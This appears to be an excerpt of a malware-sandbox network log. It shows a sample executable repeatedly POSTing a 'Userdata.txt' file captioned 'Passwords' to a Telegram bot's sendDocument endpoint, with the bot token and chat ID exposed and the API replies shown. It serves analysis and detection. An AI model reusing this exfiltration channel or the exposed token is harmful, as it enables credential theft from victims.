2025-01-10 22:12:40 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 37 63 65 62 31 39 62 34 66 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd337ceb19b4f4Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:40 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:40 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:40 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 30 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 36 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44809,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547160,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.9	50028	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:42 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3395a3db7cbe Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:42 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 39 35 61 33 64 62 37 63 62 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3395a3db7cbeContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:42 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:42 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:42 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 31 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 36 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44810,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547162,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	50030	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:43 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33abb28677f1 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:43 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 61 62 62 32 38 36 37 37 66 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33abb28677f1Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:43 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:43 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:43 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 31 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 36 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44811,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547163,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	50032	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:45 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33c5920c0b5c Host: api.telegram.org Content-Length: 1090
2025-01-10 22:12:45 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 63 35 39 32 30 63 30 62 35 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33c5920c0b5cContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:45 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:45 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:45 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 31 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 36 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44812,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547165,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	50034	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:46 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33df5e6a49aa Host: api.telegram.org Content-Length: 1090
2025-01-10 22:12:46 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 64 66 35 65 36 61 34 39 61 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33df5e6a49aaContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:47 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:47 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:47 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 31 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 36 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44813,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547167,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.9	50036	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:48 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33fe3ac1ecdf Host: api.telegram.org Content-Length: 1090
2025-01-10 22:12:48 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 66 65 33 61 63 31 65 63 64 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33fe3ac1ecdfContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:48 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:48 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:48 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 31 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 36 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44814,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547168,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.9	50038	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:50 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd341f90415bea Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:50 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 34 31 66 39 30 34 31 35 62 65 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd341f90415beaContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:50 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:50 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:50 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 31 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 37 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44815,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547170,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.9	50040	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:51 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd343e3f0cbb2f Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:51 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 34 33 65 33 66 30 63 62 62 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd343e3f0cbb2fContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:52 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:52 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
